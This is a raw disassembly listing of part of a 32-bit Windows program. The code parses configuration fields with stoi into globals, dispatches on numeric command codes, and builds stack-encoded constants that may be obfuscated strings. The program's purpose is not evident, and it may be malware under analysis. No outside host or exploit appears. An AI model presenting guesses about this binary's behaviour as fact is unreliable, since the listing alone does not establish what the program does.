or eax, 1
jmp 0x40ab63
xor eax, eax
test eax, eax
jne 0x40afe9
push 0xa
push eax
mov eax, dword [ebp - 0x1e4]
sub esp, 0x18
add eax, 0x30
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x48]
push eax
call fcn.004138b0
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x28
call fcn.0040eb00
add esp, 0xc
mov dword [0x4796b8], eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x27
call fcn.004014e0
mov eax, dword [ebp - 0x1e4]
sub esp, 0x18
add eax, 0x48
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x48]
push eax
call fcn.004138b0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x29
jb 0x40abda
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40abe0
sub ecx, esi
push ecx
push edx
mov ecx, 0x4796ec
call fcn.004035c0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x27
call fcn.004014e0
mov eax, dword [ebp - 0x1e4]
push 0xa
push 0
sub esp, 0x18
add eax, 0x60
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x1b8]
push eax
call fcn.004138b0
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x2a
call fcn.0040eb00
add esp, 0xc
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.0040eb70
mov esi, eax
add esp, 8
cmp esi, 0x47971c
je 0x40ac7e
mov ecx, 0x47971c
call fcn.004014e0
movups xmm0, xmmword [esi]
movups xmmword [0x47971c], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x47972c], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
lea ecx, [ebp - 0x48]
call fcn.004014e0
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 4], 0x27
call fcn.004014e0
mov eax, dword [ebp - 0x1e4]
sub esp, 0x18
add eax, 0x78
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x48]
push eax
call fcn.004138b0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x2b
jb 0x40acc3
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40acc8
sub ecx, esi
push ecx
push edx
mov ecx, 0x479704
call fcn.004035c0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x27
call fcn.004014e0
mov eax, dword [ebp - 0x1e4]
sub esp, 0x18
add eax, 0x90
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x48]
push eax
call fcn.004138b0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x2c
jb 0x40ad19
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ad20
sub ecx, esi
push ecx
push edx
mov ecx, 0x4796d4
call fcn.004035c0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x27
call fcn.004014e0
mov eax, dword [ebp - 0x1e4]
cmp dword [eax + 0xb8], 0
je 0x40addd
sub esp, 0x18
mov word [ebp - 0x1d8], 0x7c
mov ecx, esp
mov dword [ebp - 0x2c], esp
lea eax, [ebp - 0x1d1]
mov dword [ebp - 0x1e8], ecx
mov byte [ebp - 0x1d6], 0
push eax
lea eax, [ebp - 0x1d7]
push eax
lea eax, [ebp - 0x1d8]
push eax
call fcn.004065c0
mov eax, dword [ebp - 0x1e4]
sub esp, 0x18
mov esi, esp
mov byte [ebp - 4], 0x2d
sub esp, 0x18
add eax, 0xa8
mov ecx, esp
push eax
call fcn.00402540
push esi
call fcn.004138b0
add esp, 0x1c
mov byte [ebp - 4], 0x27
lea eax, [ebp - 0x64]
push eax
call fcn.0040e8b0
add esp, 0x34
mov ecx, 0x479734
push eax
call fcn.00407e20
lea ecx, [ebp - 0x64]
call fcn.0040b3e0
mov eax, dword [ebp - 0x1e4]
cmp dword [eax + 0xd0], 0
je 0x40ae7f
sub esp, 0x18
mov word [ebp - 0x1d8], 0x7c
mov ecx, esp
mov dword [ebp - 0x2c], esp
lea eax, [ebp - 0x1d1]
mov dword [ebp - 0x1e8], ecx
mov byte [ebp - 0x1d6], 0
push eax
lea eax, [ebp - 0x1d7]
push eax
lea eax, [ebp - 0x1d8]
push eax
call fcn.004065c0
mov eax, dword [ebp - 0x1e4]
sub esp, 0x18
mov esi, esp
mov byte [ebp - 4], 0x2e
sub esp, 0x18
add eax, 0xc0
mov ecx, esp
push eax
call fcn.00402540
push esi
call fcn.004138b0
add esp, 0x1c
mov byte [ebp - 4], 0x27
lea eax, [ebp - 0x64]
push eax
call fcn.0040e8b0
add esp, 0x34
mov ecx, 0x479740
push eax
call fcn.00407e20
lea ecx, [ebp - 0x64]
call fcn.0040b3e0
mov eax, dword [ebp - 0x1e4]
mov dword [0x47977c], 0xf018b3
jmp 0x40ae89
mov dword [0x47977c], 0
push 0xa
push 0
sub esp, 0x18
add eax, 0x108
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x48]
push eax
call fcn.004138b0
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x2f
call fcn.0040eb00
add esp, 0xc
mov dword [0x479780], eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x27
call fcn.004014e0
mov eax, dword [ebp - 0x1e4]
cmp dword [eax + 0x130], 0
lea edx, [eax + 0x120]
je 0x40af2d
sub esp, 0x18
mov ecx, esp
push edx
call fcn.00402540
lea eax, [ebp - 0x48]
push eax
call fcn.004138b0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x30
jb 0x40af01
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40af06
sub ecx, esi
push ecx
push edx
mov ecx, 0x479764
call fcn.004035c0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x27
call fcn.004014e0
mov eax, dword [ebp - 0x1e4]
add eax, 0x138
cmp dword [eax + 0x10], 0
je 0x40af83
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x48]
push eax
call fcn.004138b0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x31
jb 0x40af5d
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40af62
sub ecx, esi
push ecx
push edx
mov ecx, 0x47974c
call fcn.004035c0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x27
call fcn.004014e0
lea eax, [ebp - 0x48]
mov byte [0x479784], 1
push eax
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x72647a57
mov word [ebp - 0x28], 0x100
call fcn.00407ea0
mov esi, eax
cmp esi, 0x479788
je 0x40afdf
mov ecx, 0x479788
call fcn.004014e0
movups xmm0, xmmword [esi]
movups xmmword [0x479788], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x479798], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
lea ecx, [ebp - 0x48]
call fcn.004014e0
jmp 0x40aff0
mov byte [0x479785], 1
mov eax, dword [ebp - 0xb4]
cmp eax, 0x10
jb 0x409c53
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x40a542
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40a542
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
lea ecx, [ebp - 0x1e4]
mov byte [0x479784], 1
call fcn.0040b3e0
jmp 0x40b272
mov eax, dword [ebp - 0x1e4]
sub esp, 0x18
add eax, 0x18
mov byte [0x479784], 1
mov ecx, esp
mov byte [0x47988c], 1
push eax
call fcn.00402540
lea eax, [ebp - 0x48]
push eax
call fcn.004138b0
add esp, 0x1c
mov ecx, 0x4798a8
push eax
call fcn.00407db0
lea ecx, [ebp - 0x48]
call fcn.004014e0
lea ecx, [ebp - 0x1e4]
call fcn.0040b3e0
jmp 0x40b272
cmp eax, 0xbbd
jg 0x40b1b5
je 0x40b172
cmp eax, 0x41c
jg 0x40b16b
je case.0x409ca0.701
sub eax, 0x3e9
je case.0x409ca0.637
sub eax, 0xa
jne case.0x409ca0.637
push 0x4798f0
lea ecx, [ebp - 0x88]
call fcn.00402540
cmp dword [0x47991c], 0x10
lea eax, [ebp - 0x88]
push dword [0x479918]
mov ecx, 0x479908
cmovae ecx, dword [0x479908]
cmp dword [ebp - 0x74], 0x10
push ecx
cmovae eax, dword [ebp - 0x88]
push dword [ebp - 0x78]
push eax
call fcn.00406ea0
add esp, 0x10
mov byte [ebp - 0x1d1], al
lea ecx, [ebp - 0x88]
call fcn.004014e0
cmp byte [ebp - 0x1d1], 0
jne 0x409c32
mov edx, dword [ebp - 0x1e4]
add edx, 0x18
mov byte [0x479784], 0
cmp dword [edx + 0x14], 0x10
jb 0x40b141
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b146
sub ecx, esi
push ecx
push edx
mov ecx, 0x4797a0
call fcn.004035c0
lea ecx, [ebp - 0x1e4]
call fcn.0040b3e0
jmp 0x40b272
cmp eax, 0xbbc
jne case.0x409ca0.637
mov edx, dword [ebp - 0x1e4]
add edx, 0x18
mov byte [0x479784], 0
cmp dword [edx + 0x14], 0x10
jb 0x40b18a
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b190
sub ecx, esi
push ecx
push edx
mov ecx, 0x4797a0
call fcn.004035c0
lea ecx, [ebp - 0x1e4]
call fcn.0040b3e0
jmp 0x40b272
cmp eax, 0xd1f
je 0x409c32
cmp eax, 0x19b4
je 0x40b20a
cmp eax, 0x2719
je 0x40b1da
mov byte [0x479784], 0
jmp 0x409c32
lea ecx, [ebp - 0x68]
mov byte [0x479784], 0
mov dword [ebp - 0x68], 0x72627b5d
mov dword [ebp - 0x64], 0x777b776a
mov dword [ebp - 0x60], 0x6d6c583c
mov dword [ebp - 0x5c], 0x100534f
call fcn.0040be60
jmp 0x409c43
lea ecx, [ebp - 0x1e4]
mov word [0x479784], 0x100
call fcn.0040b3e0
jmp 0x40b272
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.0045f2ee
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push str.invalid_stoi_argument
call sub.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const__
push str.stoi_argument_out_of_range
call sub.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const__
inc ecx
mov al, 64
add byte [edi - 0x75ffbf64], ah
test eax, 0xb0c40040
inc eax
add byte [edx], ch
mov al, 0x40
add dh, cl
mov cl, 0x40
add byte [eax], al
add eax, 0x5050505
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 33621253
add eax, 84215045
add eax, 50660613
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84148997
add eax, 50595077
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 50660613
int3